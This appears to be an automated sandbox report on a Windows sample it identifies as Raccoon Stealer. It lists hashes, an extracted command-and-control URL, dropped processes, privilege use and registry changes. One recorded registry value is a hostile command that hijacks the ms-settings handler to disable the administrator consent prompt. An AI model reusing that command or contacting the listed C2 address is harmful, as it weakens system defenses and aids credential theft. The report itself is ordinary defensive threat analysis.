Analysis
-
max time kernel
187s -
max time network
195s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
16-05-2022 19:03
Static task
static1
Behavioral task
behavioral1
Sample
52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.exe
Resource
win10v2004-20220414-en
General
-
Target
52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.exe
-
Size
10.1MB
-
MD5
889956cee776d41937c39e225d3e72b6
-
SHA1
cc8d22b6c453deb2ac2826610cb001b3dd0e9771
-
SHA256
52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5
-
SHA512
2fde4df02392114a2e2676963d05d2a40c748710de7e30dad3deb1083fa1e991c85ae49520d679905ae21eaaed7f0458f38454ce04ea1d6544576f0ca3934de4
Malware Config
Extracted
raccoon
8fe810873f688849dc81def1a46e795c11d65cab
-
url4cnc
https://telete.in/jredmankun
Signatures
-
Raccoon Stealer Payload 4 IoCs
Processes:
resource yara_rule behavioral2/memory/3256-262-0x0000000000400000-0x0000000000493000-memory.dmp family_raccoon behavioral2/memory/3256-264-0x0000000000400000-0x0000000000493000-memory.dmp family_raccoon behavioral2/memory/3256-265-0x0000000000400000-0x0000000000493000-memory.dmp family_raccoon behavioral2/memory/3256-266-0x0000000000400000-0x0000000000493000-memory.dmp family_raccoon -
Executes dropped EXE 17 IoCs
Processes:
52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmpAdobe.exeAdobe.tmpSet-up.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe00008.exe00008.exepid process 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp 4388 Adobe.exe 448 Adobe.tmp 3840 Set-up.exe 4936 7z.exe 1752 7z.exe 4948 7z.exe 1856 7z.exe 2588 7z.exe 1424 7z.exe 1508 7z.exe 3140 7z.exe 1756 7z.exe 3620 7z.exe 4296 7z.exe 4112 00008.exe 3256 00008.exe -
Checks computer location settings 2 TTPs 6 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Adobe.tmpWScript.exeWScript.exe52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmpWScript.exeWScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation Adobe.tmp Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation WScript.exe -
Loads dropped DLL 11 IoCs
Processes:
7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exepid process 4936 7z.exe 1752 7z.exe 4948 7z.exe 1856 7z.exe 2588 7z.exe 1424 7z.exe 1508 7z.exe 3140 7z.exe 1756 7z.exe 3620 7z.exe 4296 7z.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
00008.exedescription pid process target process PID 4112 set thread context of 3256 4112 00008.exe 00008.exe -
Drops file in Program Files directory 4 IoCs
Processes:
52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmpAdobe.tmpdescription ioc process File created C:\Program Files (x86)\WindowsPowerShell\Configuration\is-7AD09.tmp 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp File opened for modification C:\Program Files (x86)\WindowsPowerShell\Configuration\Set-up.exe Adobe.tmp File created C:\Program Files (x86)\WindowsPowerShell\Configuration\is-B930G.tmp Adobe.tmp File opened for modification C:\Program Files (x86)\WindowsPowerShell\Configuration\Adobe.exe 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
Set-up.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION Set-up.exe Set value (int) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Set-up.exe = "11001" Set-up.exe -
Modifies registry class 13 IoCs
Processes:
reg.exereg.exeAdobe.tmpreg.exereg.exe52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmpdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ms-settings\shell\open\command reg.exe Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ms-settings\shell reg.exe Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ms-settings\shell\open reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ms-settings\shell\open\command\DelegateExecute = " " reg.exe Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings Adobe.tmp Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ms-settings\shell\open\command\ = "C:\\windows\\SysWow64\\cmd.exe /c REG ADD HKLM\\software\\microsoft\\windows\\currentversion\\policies\\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ms-settings\shell\open\command\DelegateExecute = " " reg.exe Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ms-settings reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ms-settings\shell\open\command\ = "C:\\windows\\SysWow64\\cmd.exe /c REG ADD HKLM\\software\\microsoft\\windows\\currentversion\\policies\\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f" reg.exe Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ms-settings\shell\open\command reg.exe Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ms-settings\shell\open\command reg.exe Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ms-settings\shell\open\command reg.exe -
Processes:
Set-up.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a Set-up.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 5c000000010000000400000000080000190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc36200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8040000000100000010000000d474de575c39b2d39c8583c5c065498a2000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a Set-up.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 Set-up.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 Set-up.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 Set-up.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 Set-up.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 Set-up.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 Set-up.exe -
Runs ping.exe 1 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmpAdobe.tmp00008.exepid process 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp 448 Adobe.tmp 448 Adobe.tmp 4112 00008.exe -
Suspicious use of AdjustPrivilegeToken 45 IoCs
Processes:
7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe00008.exedescription pid process Token: SeRestorePrivilege 4936 7z.exe Token: 35 4936 7z.exe Token: SeSecurityPrivilege 4936 7z.exe Token: SeSecurityPrivilege 4936 7z.exe Token: SeRestorePrivilege 1752 7z.exe Token: 35 1752 7z.exe Token: SeSecurityPrivilege 1752 7z.exe Token: SeSecurityPrivilege 1752 7z.exe Token: SeRestorePrivilege 4948 7z.exe Token: 35 4948 7z.exe Token: SeSecurityPrivilege 4948 7z.exe Token: SeSecurityPrivilege 4948 7z.exe Token: SeRestorePrivilege 1856 7z.exe Token: 35 1856 7z.exe Token: SeSecurityPrivilege 1856 7z.exe Token: SeSecurityPrivilege 1856 7z.exe Token: SeRestorePrivilege 2588 7z.exe Token: 35 2588 7z.exe Token: SeSecurityPrivilege 2588 7z.exe Token: SeSecurityPrivilege 2588 7z.exe Token: SeRestorePrivilege 1424 7z.exe Token: 35 1424 7z.exe Token: SeSecurityPrivilege 1424 7z.exe Token: SeSecurityPrivilege 1424 7z.exe Token: SeRestorePrivilege 1508 7z.exe Token: 35 1508 7z.exe Token: SeSecurityPrivilege 1508 7z.exe Token: SeSecurityPrivilege 1508 7z.exe Token: SeRestorePrivilege 3140 7z.exe Token: 35 3140 7z.exe Token: SeSecurityPrivilege 3140 7z.exe Token: SeSecurityPrivilege 3140 7z.exe Token: SeRestorePrivilege 1756 7z.exe Token: 35 1756 7z.exe Token: SeSecurityPrivilege 1756 7z.exe Token: SeSecurityPrivilege 1756 7z.exe Token: SeRestorePrivilege 3620 7z.exe Token: 35 3620 7z.exe Token: SeSecurityPrivilege 3620 7z.exe Token: SeSecurityPrivilege 3620 7z.exe Token: SeRestorePrivilege 4296 7z.exe Token: 35 4296 7z.exe Token: SeSecurityPrivilege 4296 7z.exe Token: SeSecurityPrivilege 4296 7z.exe Token: SeDebugPrivilege 4112 00008.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmpAdobe.tmppid process 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp 448 Adobe.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
